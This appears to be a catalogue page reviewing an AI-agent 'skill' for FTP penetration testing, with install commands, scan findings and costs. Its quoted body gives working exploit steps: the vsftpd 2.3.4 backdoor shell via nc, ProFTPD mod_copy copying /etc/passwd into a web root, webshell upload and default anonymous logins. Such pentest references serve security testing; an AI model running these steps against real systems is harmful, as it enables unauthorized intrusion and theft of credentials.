Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add s0ld13rr/pentestcode --skill ftpgit clone --depth 1 https://github.com/s0ld13rr/pentestcodeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/s0ld13rr/pentestcode/ftp)<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/ftp"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/ftp/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/ftp"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/ftp.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 16 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00055 | $0.00285 |
| Opus 5.5 | $0.00022 | $0.00114 |
| Sonnet 5.5 | $0.00011 | $0.00057 |
| Haiku 4.5 | $0.00006 | $0.00028 |
Grade A, and why
svc-ftp scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
Then `curl http://TARGET/leak.txt`. Can also copy SSH keys, webshells into web roots. What it actually says
FTP — Version Exploits & Chains
vsftpd 2.3.4 — backdoor
Send :) in username → backdoor shell opens on port 6200.
echo -e "USER evil:)\nPASS anything" | nc TARGET 21 then nc TARGET 6200
ProFTPD mod_copy — unauthenticated file copy
ProFTPD <1.3.5b. No login needed:
nc TARGET 21
SITE CPFR /etc/passwd
SITE CPTO /var/www/html/leak.txt
Then curl http://TARGET/leak.txt. Can also copy SSH keys, webshells into web roots.
Writable FTP + web server = shell
If anonymous upload works AND a web server serves the same directory: upload shell via FTP → trigger via HTTP.
Anonymous login variants
Try: anonymous/anonymous@, anonymous/(empty), ftp/ftp.
Always ls -la and try cd .. — parent directories sometimes accessible.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago Changed · -27 lines · -5 tokens per session 0e918d2296d9
- 1mo ago First seen · 55 lines · 60 tokens per session scan A 06e5288ab567
svc-ftp is a skill published in the GitHub repository s0ld13rr/pentestcode (851 stars, last pushed 15d ago), licensed MIT. It adds 55 tokens to every session and 285 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
lictor-security-check
Pre-release security audit for ANY project — AI-built or hand-written, web or mobile. Scans the codebase for the full range of real-world risks that get apps breached: leaked API & AI-provider keys, exposed configs/secrets, broken auth & access control (IDOR), injection (SQL/XSS/command), SSRF, open databases & cloud…
lictor-rotate
Walks the user through rotating a leaked API key — step by step, provider-specific. Knows the exact URL to visit, the exact button to click, and how to verify the rotation worked. Supports Stripe, OpenAI, Anthropic, Google Cloud / AI Studio, GitHub, AWS, Slack, Supabase, Firebase, Postmark, and generic OAuth providers.
lictor-explain
Takes any security finding, error message, or jargon-heavy security advice and explains it in plain English. Use this when someone is confused by what /lictor-security-check found, or when they got a security warning from another tool and don't understand it.
openai-patterns
Production OpenAI API patterns — model selection, prompt engineering, function calling, streaming, error handling, cost control, and structured outputs.
lictor-fix-it
Applies the fixes recommended by /lictor-security-check, with the user's explicit permission for each change. Walks through findings one at a time, shows the proposed change, gets approval, applies, runs tests if available, and moves on. Some fixes (rotating leaked credentials) require the user to act outside Claude …
pydantic-ai
Build production-ready AI agents with PydanticAI — type-safe tool use, structured outputs, dependency injection, and multi-model support.